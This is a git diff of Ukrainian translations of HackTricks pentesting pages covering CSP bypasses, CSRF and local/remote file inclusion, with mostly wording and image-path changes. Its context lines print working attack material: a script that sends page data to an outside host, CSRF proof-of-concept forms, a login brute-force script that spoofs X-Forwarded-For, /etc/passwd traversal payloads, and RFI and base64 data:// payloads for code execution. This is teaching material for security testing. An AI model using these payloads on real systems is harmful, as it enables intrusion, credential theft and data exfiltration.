||||
|
||||
У [**цьому CTF звіті**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) CSP обходиться шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, який, потім, через **прототипне забруднення** або **dom clobbering** дозволяє **зловживати іншим скриптом для завантаження довільного скрипту**.
|
||||
У [**цьому CTF звіті**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) CSP обминається шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, що, в свою чергу, через **потенційне забруднення прототипу** або **DOM клоберинг** дозволяє **зловживати іншим скриптом для завантаження довільного скрипту**.
|
||||
|
||||
Ви можете **обмежити CSP iframe** за допомогою атрибута **`csp`**:
|
||||
|
||||
|
@ -618,7 +618,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
|||
|
||||
Трюк з [**тут**](https://ctftime.org/writeup/29310).
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
|
@ -637,18 +637,18 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
|||
|
||||
### PHP помилки при надмірній кількості параметрів
|
||||
|
||||
Згідно з [**останнім методом, прокоментованим у цьому відео**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), надсилання занадто багатьох параметрів (1001 GET параметр, хоча це також можна зробити з POST параметрами та більше ніж 20 файлами). Будь-який визначений **`header()`** у PHP веб-коді **не буде надіслано** через помилку, яку це викличе.
|
||||
Згідно з [**останням методом, прокоментованим у цьому відео**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), надсилання занадто багатьох параметрів (1001 GET параметр, хоча це також можна зробити з POST параметрами та більше ніж 20 файлами). Будь-який визначений **`header()`** у PHP веб-коді **не буде надіслано** через помилку, яку це викличе.
|
||||
|
||||
### Переповнення буфера відповіді PHP
|
||||
|
||||
PHP відомий тим, що **буферизує відповідь до 4096** байт за замовчуванням. Тому, якщо PHP показує попередження, надаючи **достатньо даних у попередженнях**, **відповідь** буде **надіслана** **перед** **CSP заголовком**, що призведе до ігнорування заголовка.\
|
||||
PHP відомий тим, що **буферизує відповідь до 4096** байтів за замовчуванням. Тому, якщо PHP показує попередження, надаючи **достатньо даних у попередженнях**, **відповідь** буде **надіслана** **до** **CSP заголовка**, що призведе до ігнорування заголовка.\
|
||||
Отже, техніка в основному полягає в **заповненні буфера відповіді попередженнями**, щоб CSP заголовок не був надісланий.
|
||||
|
||||
Ідея з [**цього опису**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### Переписати сторінку помилки
|
||||
|
||||
З [**цього опису**](https://blog.ssrf.kr/69) виглядає так, що було можливо обійти захист CSP, завантаживши сторінку помилки (можливо, без CSP) і переписавши її вміст.
|
||||
З [**цього опису**](https://blog.ssrf.kr/69) виглядає так, що було можливим обійти захист CSP, завантаживши сторінку помилки (можливо, без CSP) і переписавши її вміст.
|
||||
```javascript
|
||||
a = window.open('/' + 'x'.repeat(4100));
|
||||
setTimeout(function() {
|
||||
|
@ -657,16 +657,16 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки** для **зловживання** **іншими кінцевими точками одного походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки зловмисника, а потім оновлення сторінки зловмисника на реальну кінцеву точку в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати об'єкт **`opener`** у **payload** для **доступу до DOM** **реальної кінцевої точки для зловживання**. Для отримання додаткової інформації перегляньте:
|
||||
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки** для **зловживання** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки зловмисника, а потім оновлення сторінки зловмисника на реальну кінцеву точку в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати об'єкт **`opener`** у **payload** для **доступу до DOM** **реальної кінцевої точки для зловживання**. Для отримання додаткової інформації дивіться:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Більше того, **wordpress** має **JSONP** кінцеву точку в `/wp-json/wp/v2/users/1?_jsonp=data`, яка **відображатиме** **дані**, надіслані в вихідних даних (з обмеженням лише на літери, цифри та крапки).
|
||||
Більше того, **wordpress** має **JSONP** кінцеву точку в `/wp-json/wp/v2/users/1?_jsonp=data`, яка **відображає** **дані**, надіслані в вихід (з обмеженням лише на літери, цифри та крапки).
|
||||
|
||||
Зловмисник може зловживати цією кінцевою точкою, щоб **згенерувати атаку SOME** проти WordPress і **вбудувати** її всередину `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`, зверніть увагу, що цей **скрипт** буде **завантажено**, оскільки він **дозволений 'self'**. Більше того, і оскільки WordPress встановлено, зловмисник може зловживати **атакою SOME** через **вразливу** **кінцеву точку зворотного виклику**, яка **обходить CSP**, щоб надати більше привілеїв користувачу, встановити новий плагін...\
|
||||
Для отримання додаткової інформації про те, як виконати цю атаку, перегляньте [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
Для отримання додаткової інформації про те, як виконати цю атаку, дивіться [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
|
||||
|
@ -752,14 +752,14 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
**Інсайти з хакінгу**\
|
||||
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
|
||||
Залучайтеся до контенту, який занурюється у захоплення та виклики хакінгу
|
||||
|
||||
**Новини хакінгу в реальному часі**\
|
||||
**Новини з хакінгу в реальному часі**\
|
||||
Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
|
||||
|
||||
**Останні оголошення**\
|
||||
|
@ -768,8 +768,8 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вчіться та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -30,11 +30,11 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
|
||||
## Пояснення Cross-Site Request Forgery (CSRF)
|
||||
## Cross-Site Request Forgery (CSRF) Explained
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)** — це тип вразливості безпеки, що зустрічається у веб-додатках. Вона дозволяє зловмисникам виконувати дії від імені нічого не підозрюючих користувачів, експлуатуючи їх автентифіковані сесії. Атака виконується, коли користувач, який увійшов до платформи жертви, відвідує шкідливий сайт. Цей сайт потім ініціює запити до облікового запису жертви через методи, такі як виконання JavaScript, надсилання форм або отримання зображень.
|
||||
**Cross-Site Request Forgery (CSRF)** - це тип вразливості безпеки, що зустрічається у веб-додатках. Він дозволяє зловмисникам виконувати дії від імені нічого не підозрюючих користувачів, експлуатуючи їх автентифіковані сесії. Атака виконується, коли користувач, який увійшов до платформи жертви, відвідує шкідливий сайт. Цей сайт потім ініціює запити до облікового запису жертви через методи, такі як виконання JavaScript, надсилання форм або отримання зображень.
|
||||
|
||||
### Передумови для атаки CSRF
|
||||
### Prerequisites for a CSRF Attack
|
||||
|
||||
Щоб експлуатувати вразливість CSRF, необхідно виконати кілька умов:
|
||||
|
||||
|
@ -42,38 +42,38 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
2. **Управління сесією**: Сесія користувача повинна управлятися виключно через куки або заголовок HTTP Basic Authentication, оскільки інші заголовки не можуть бути змінені для цієї мети.
|
||||
3. **Відсутність непередбачуваних параметрів**: Запит не повинен містити непередбачуваних параметрів, оскільки вони можуть завадити атаці.
|
||||
|
||||
### Швидка перевірка
|
||||
### Quick Check
|
||||
|
||||
Ви можете **захопити запит у Burp** і перевірити захисти CSRF, а для тестування з браузера ви можете натиснути **Copy as fetch** і перевірити запит:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Захист від CSRF
|
||||
### Defending Against CSRF
|
||||
|
||||
Для захисту від атак CSRF можна реалізувати кілька контрзаходів:
|
||||
|
||||
* [**SameSite cookies**](hacking-with-cookies/#samesite): Цей атрибут запобігає браузеру надсилати куки разом із запитами з інших сайтів. [Більше про SameSite cookies](hacking-with-cookies/#samesite).
|
||||
* [**Cross-origin resource sharing**](cors-bypass.md): Політика CORS сайту жертви може вплинути на здійсненність атаки, особливо якщо атака вимагає читання відповіді з сайту жертви. [Дізнайтеся про обходи CORS](cors-bypass.md).
|
||||
* [**SameSite cookies**](hacking-with-cookies/#samesite): Цей атрибут запобігає відправці куків браузером разом із запитами з інших сайтів. [Більше про куки SameSite](hacking-with-cookies/#samesite).
|
||||
* [**Cross-origin resource sharing**](cors-bypass.md): Політика CORS сайту жертви може вплинути на здійсненність атаки, особливо якщо атака вимагає читання відповіді з сайту жертви. [Дізнайтеся про обхід CORS](cors-bypass.md).
|
||||
* **Перевірка користувача**: Запит на введення пароля користувача або розв'язання капчі може підтвердити наміри користувача.
|
||||
* **Перевірка заголовків Referrer або Origin**: Валідація цих заголовків може допомогти забезпечити, що запити надходять з надійних джерел. Однак, обережне формування URL може обійти погано реалізовані перевірки, такі як:
|
||||
* Використання `http://mal.net?orig=http://example.com` (URL закінчується на надійний URL)
|
||||
* Використання `http://example.com.mal.net` (URL починається з надійного URL)
|
||||
* **Зміна імен параметрів**: Зміна імен параметрів у POST або GET запитах може допомогти запобігти автоматизованим атакам.
|
||||
* **Токени CSRF**: Включення унікального токена CSRF у кожну сесію та вимога цього токена в подальших запитах може значно зменшити ризик CSRF. Ефективність токена можна підвищити, впроваджуючи CORS.
|
||||
* **CSRF Tokens**: Включення унікального токена CSRF у кожну сесію та вимога цього токена в подальших запитах може значно зменшити ризик CSRF. Ефективність токена можна підвищити, впроваджуючи CORS.
|
||||
|
||||
Розуміння та реалізація цих захистів є критично важливими для підтримки безпеки та цілісності веб-додатків.
|
||||
|
||||
## Обхід захисту
|
||||
## Defences Bypass
|
||||
|
||||
### Від POST до GET
|
||||
### From POST to GET
|
||||
|
||||
Можливо, форма, яку ви хочете зловживати, підготовлена для надсилання **POST запиту з токеном CSRF, але** ви повинні **перевірити**, чи **GET** також **дійсний** і чи, коли ви надсилаєте GET запит, **токен CSRF все ще перевіряється**.
|
||||
|
||||
### Відсутність токена
|
||||
### Lack of token
|
||||
|
||||
Додатки можуть реалізувати механізм для **перевірки токенів**, коли вони присутні. Однак вразливість виникає, якщо перевірка пропускається зовсім, коли токен відсутній. Зловмисники можуть експлуатувати це, **видаляючи параметр**, що несе токен, а не лише його значення. Це дозволяє їм обійти процес перевірки та ефективно провести атаку Cross-Site Request Forgery (CSRF).
|
||||
|
||||
### Токен CSRF не прив'язаний до сесії користувача
|
||||
### CSRF token is not tied to the user session
|
||||
|
||||
Додатки, **які не прив'язують токени CSRF до сесій користувачів**, представляють значний **ризик безпеки**. Ці системи перевіряють токени проти **глобального пулу**, а не забезпечують, щоб кожен токен був прив'язаний до ініціюючої сесії.
|
||||
|
||||
|
@ -85,28 +85,28 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
Ця вразливість дозволяє зловмисникам робити несанкціоновані запити від імені жертви, експлуатуючи **недостатній механізм перевірки токенів** додатка.
|
||||
|
||||
### Обхід методу
|
||||
### Method bypass
|
||||
|
||||
Якщо запит використовує "**незвичний**" **метод**, перевірте, чи працює **функціональність** **перезапису методу**. Наприклад, якщо він **використовує метод PUT**, ви можете спробувати **використати метод POST** і **надіслати**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
Це також може спрацювати, якщо надіслати **параметр \_method всередині POST запиту** або використовуючи **заголовки**:
|
||||
Це також може спрацювати, надіславши **параметр \_method всередині POST запиту** або використовуючи **заголовки**:
|
||||
|
||||
* _X-HTTP-Method_
|
||||
* _X-HTTP-Method-Override_
|
||||
* _X-Method-Override_
|
||||
|
||||
### Обхід токена кастомного заголовка
|
||||
### Custom header token bypass
|
||||
|
||||
Якщо запит додає **кастомний заголовок** з **токеном** до запиту як **метод захисту CSRF**, тоді:
|
||||
|
||||
* Перевірте запит без **кастомізованого токена та заголовка.**
|
||||
* Перевірте запит з точною **такою ж довжиною, але іншим токеном**.
|
||||
|
||||
### Токен CSRF перевіряється за допомогою куки
|
||||
### CSRF token is verified by a cookie
|
||||
|
||||
Додатки можуть реалізувати захист CSRF, дублюючи токен як у куки, так і в параметрі запиту або встановлюючи куку CSRF і перевіряючи, чи відповідає токен, надісланий на бекенді, значенню в куки. Додаток перевіряє запити, перевіряючи, чи токен у параметрі запиту відповідає значенню в куки.
|
||||
Додатки можуть реалізувати захист CSRF, дублюючи токен як у куки, так і в параметрі запиту або встановлюючи куки CSRF і перевіряючи, чи відповідає токен, надісланий на бекенді, значенню в куки. Додаток перевіряє запити, перевіряючи, чи токен у параметрі запиту відповідає значенню в куки.
|
||||
|
||||
Однак цей метод вразливий до атак CSRF, якщо веб-сайт має недоліки, які дозволяють зловмиснику встановити куку CSRF у браузері жертви, такі як вразливість CRLF. Зловмисник може експлуатувати це, завантажуючи оманливе зображення, яке встановлює куку, після чого ініціює атаку CSRF.
|
||||
Однак цей метод вразливий до атак CSRF, якщо веб-сайт має недоліки, які дозволяють зловмиснику встановити куки CSRF у браузері жертви, такі як вразливість CRLF. Зловмисник може експлуатувати це, завантажуючи оманливе зображення, яке встановлює куки, а потім ініціюючи атаку CSRF.
|
||||
|
||||
Нижче наведено приклад того, як може бути структурована атака:
|
||||
```html
|
||||
|
@ -130,7 +130,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
### Зміна Content-Type
|
||||
|
||||
Згідно з [**цим**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), щоб **уникнути попередніх** запитів, використовуючи метод **POST**, ці значення Content-Type дозволені:
|
||||
Згідно з [**цим**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), щоб **уникнути попередніх** запитів, використовуючи метод **POST**, дозволені значення Content-Type:
|
||||
|
||||
* **`application/x-www-form-urlencoded`**
|
||||
* **`multipart/form-data`**
|
||||
|
@ -175,7 +175,7 @@ form.submit();
|
|||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Щоб встановити доменне ім'я сервера в URL, який Referrer збирається надіслати всередині параметрів, ви можете зробити:
|
||||
Щоб встановити доменне ім'я сервера в URL, який Referrer збирається надіслати в параметрах, ви можете зробити:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
|
@ -233,7 +233,7 @@ body { background: url('...'); }
|
|||
<track src="..." kind="subtitles">
|
||||
<input type="image" src="..." alt="Submit Button">
|
||||
```
|
||||
### Запит GET форми
|
||||
### Форма GET запиту
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||
|
@ -526,7 +526,7 @@ room: username
|
|||
```
|
||||
## CSRF Login Brute Force
|
||||
|
||||
Код можна використовувати для брутфорсу форми входу, використовуючи CSRF токен (також використовується заголовок X-Forwarded-For, щоб спробувати обійти можливе блокування IP):
|
||||
Код може бути використаний для брутфорсу форми входу, використовуючи CSRF токен (також використовується заголовок X-Forwarded-For, щоб спробувати обійти можливе блокування IP):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
|
@ -584,7 +584,7 @@ login(USER, line.strip())
|
|||
|
||||
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
|
@ -592,10 +592,10 @@ login(USER, line.strip())
|
|||
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
|
||||
|
||||
**Новини про хакінг в реальному часі**\
|
||||
Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
|
||||
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
|
||||
|
||||
**Останні оголошення**\
|
||||
Залишайтеся в курсі нових програм винагород за вразливості та важливих оновлень платформ
|
||||
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
|
||||
|
||||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
|
||||
|
||||
|
|
|
@ -15,11 +15,11 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
**Інсайти з хакерства**\
|
||||
**Хакерські інсайти**\
|
||||
Залучайтеся до контенту, який занурюється в захоплення та виклики хакерства
|
||||
|
||||
**Новини хакерства в реальному часі**\
|
||||
|
@ -32,7 +32,7 @@
|
|||
|
||||
## Включення файлів
|
||||
|
||||
**Віддалене включення файлів (RFI):** Файл завантажується з віддаленого сервера (Найкраще: ви можете написати код, і сервер його виконає). У php це **вимкнено** за замовчуванням (**allow\_url\_include**).\
|
||||
**Віддалене включення файлів (RFI):** Файл завантажується з віддаленого сервера (Найкраще: Ви можете написати код, і сервер його виконає). У php це **вимкнено** за замовчуванням (**allow\_url\_include**).\
|
||||
**Локальне включення файлів (LFI):** Сервер завантажує локальний файл.
|
||||
|
||||
Вразливість виникає, коли користувач може контролювати якимось чином файл, який буде завантажено сервером.
|
||||
|
@ -71,7 +71,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
|||
|
||||
Перевірте список LFI для linux.
|
||||
|
||||
## Основний LFI та обходи
|
||||
## Основний LFI та обхід
|
||||
|
||||
Усі приклади стосуються Local File Inclusion, але можуть бути застосовані і до Remote File Inclusion (сторінка=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
|
||||
```
|
||||
|
@ -106,11 +106,11 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
|||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Дослідження каталогів файлової системи на сервері
|
||||
### Дослідження директорій файлової системи на сервері
|
||||
|
||||
Файлова система сервера може бути досліджена рекурсивно для виявлення каталогів, а не лише файлів, використовуючи певні техніки. Цей процес включає визначення глибини каталогу та перевірку наявності конкретних папок. Нижче наведено детальний метод для досягнення цього:
|
||||
Файлова система сервера може бути досліджена рекурсивно для виявлення директорій, а не лише файлів, використовуючи певні техніки. Цей процес включає визначення глибини директорії та перевірку наявності конкретних папок. Нижче наведено детальний метод для досягнення цього:
|
||||
|
||||
1. **Визначте глибину каталогу:** Визначте глибину вашого поточного каталогу, успішно отримавши файл `/etc/passwd` (застосовується, якщо сервер на базі Linux). Приклад URL може бути структурований наступним чином, вказуючи на глибину три:
|
||||
1. **Визначте глибину директорії:** Визначте глибину вашої поточної директорії, успішно отримавши файл `/etc/passwd` (застосовується, якщо сервер на базі Linux). Приклад URL може бути структурований наступним чином, вказуючи на глибину три:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
|
@ -121,7 +121,7 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
|
|||
3. **Інтерпретація Результатів:** Відповідь сервера вказує, чи існує папка:
|
||||
* **Помилка / Немає Виводу:** Папка `private`, ймовірно, не існує за вказаним місцем.
|
||||
* **Вміст `/etc/passwd`:** Наявність папки `private` підтверджена.
|
||||
4. **Рекурсивне Дослідження:** Виявлені папки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні методи Local File Inclusion (LFI).
|
||||
4. **Рекурсивне Дослідження:** Виявлені папки можна додатково перевірити на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні методи Local File Inclusion (LFI).
|
||||
|
||||
Для дослідження каталогів у різних місцях файлової системи, відповідно налаштуйте payload. Наприклад, щоб перевірити, чи містить `/var/www/` каталог `private` (припускаючи, що поточний каталог на глибині 3), використовуйте:
|
||||
```bash
|
||||
|
@ -135,7 +135,7 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
|||
|
||||
* `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` та `/etc/passwd/` всі розглядаються як один і той же шлях.
|
||||
* Коли останні 6 символів - це `passwd`, додавання `/` (перетворюючи його на `passwd/`) не змінює цільовий файл.
|
||||
* Аналогічно, якщо до шляху файлу додається `.php` (наприклад, `shellcode.php`), додавання `/.` в кінці не змінить файл, до якого здійснюється доступ.
|
||||
* Аналогічно, якщо до шляху файлу додається `.php` (як `shellcode.php`), додавання `/.` в кінці не змінить файл, до якого здійснюється доступ.
|
||||
|
||||
Наведенні приклади демонструють, як використовувати скорочення шляху для доступу до `/etc/passwd`, поширеної цілі через її чутливий вміст (інформація про облікові записи користувачів):
|
||||
```
|
||||
|
@ -151,11 +151,11 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
|||
|
||||
* **Використання крапкових сегментів та додаткових символів**: Послідовності переходів (`../`), поєднані з додатковими крапковими сегментами та символами, можуть бути використані для навігації по файловій системі, ефективно ігноруючи додані рядки сервером.
|
||||
* **Визначення необхідної кількості переходів**: Через проби та помилки можна знайти точну кількість послідовностей `../`, необхідних для навігації до кореневої директорії, а потім до `/etc/passwd`, забезпечуючи нейтралізацію будь-яких доданих рядків (як-от `.php`), але залишаючи бажаний шлях (`/etc/passwd`) незмінним.
|
||||
* **Початок з фальшивої директорії**: Це поширена практика починати шлях з неіснуючої директорії (як-от `a/`). Ця техніка використовується як запобіжний захід або для виконання вимог логіки парсингу шляхів сервера.
|
||||
* **Початок з фейкової директорії**: Це поширена практика починати шлях з неіснуючої директорії (як-от `a/`). Ця техніка використовується як запобіжний захід або для виконання вимог логіки парсингу шляху сервера.
|
||||
|
||||
При використанні технік скорочення шляхів важливо розуміти поведінку парсингу шляхів сервера та структуру файлової системи. Кожен сценарій може вимагати різного підходу, і часто необхідно тестування, щоб знайти найбільш ефективний метод.
|
||||
При використанні технік скорочення шляху важливо розуміти поведінку парсингу шляху сервера та структуру файлової системи. Кожен сценарій може вимагати різного підходу, і часто необхідно тестування, щоб знайти найбільш ефективний метод.
|
||||
|
||||
**Цю вразливість було виправлено в PHP 5.3.**
|
||||
**Цю вразливість виправлено в PHP 5.3.**
|
||||
|
||||
### **Трюки обходу фільтрів**
|
||||
```
|
||||
|
@ -167,12 +167,12 @@ http://example.com/index.php?page=PhP://filter
|
|||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
В php це вимкнено за замовчуванням, оскільки **`allow_url_include`** є **Вимкнено.** Він повинен бути **Увімкнено** для того, щоб це працювало, і в такому випадку ви могли б включити PHP файл з вашого сервера і отримати RCE:
|
||||
В php це вимкнено за замовчуванням, оскільки **`allow_url_include`** є **Вимкнено.** Він повинен бути **Увімкнено**, щоб це працювало, і в такому випадку ви могли б включити PHP файл з вашого сервера і отримати RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Якщо з якоїсь причини **`allow_url_include`** увімкнено, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [згідно з цим постом](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете використовувати, наприклад, протокол даних з base64 для декодування b64 PHP коду та отримання RCE:
|
||||
Якщо з якоїсь причини **`allow_url_include`** увімкнено, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [згідно з цим постом](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете використовувати, наприклад, протокол даних з base64 для декодування коду PHP b64 і отримання RCE:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
|
@ -181,7 +181,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
У попередньому коді фінальний `+.txt` був доданий, оскільки зловмиснику потрібен рядок, який закінчується на `.txt`, тому рядок закінчується цим, і після декодування b64 ця частина поверне просто сміття, а реальний PHP код буде включено (і, отже, виконано).
|
||||
У попередньому коді фінальний `+.txt` був доданий, оскільки зловмиснику потрібен рядок, який закінчується на `.txt`, тому рядок закінчується на ньому, і після декодування b64 ця частина поверне просто сміття, а реальний PHP код буде включений (і, отже, виконаний).
|
||||
{% endhint %}
|
||||
|
||||
Інший приклад **без використання протоколу `php://`** буде:
|
||||
|
@ -204,9 +204,9 @@ os.path.join(os.getcwd(), "public", file_name)
|
|||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
Це очікувана поведінка відповідно до [документації](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
Це передбачена поведінка відповідно до [документації](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Якщо компонент є абсолютним шляхом, всі попередні компоненти відкидаються, і з'єднання продовжується з компонента абсолютного шляху.
|
||||
> Якщо компонент є абсолютним шляхом, всі попередні компоненти скидаються, і з'єднання продовжується з компонента абсолютного шляху.
|
||||
|
||||
## Java Список директорій
|
||||
|
||||
|
@ -259,7 +259,7 @@ PHP фільтри дозволяють виконувати базові **оп
|
|||
* `convert.base64-decode`
|
||||
* `convert.quoted-printable-encode`
|
||||
* `convert.quoted-printable-decode`
|
||||
* `convert.iconv.*` : Перетворює в іншу кодування(`convert.iconv.<input_enc>.<output_enc>`). Щоб отримати **список всіх підтримуваних кодувань**, запустіть у консолі: `iconv -l`
|
||||
* `convert.iconv.*` : Перетворює в іншу кодування (`convert.iconv.<input_enc>.<output_enc>`). Щоб отримати **список всіх підтримуваних кодувань**, запустіть у консолі: `iconv -l`
|
||||
|
||||
{% hint style="warning" %}
|
||||
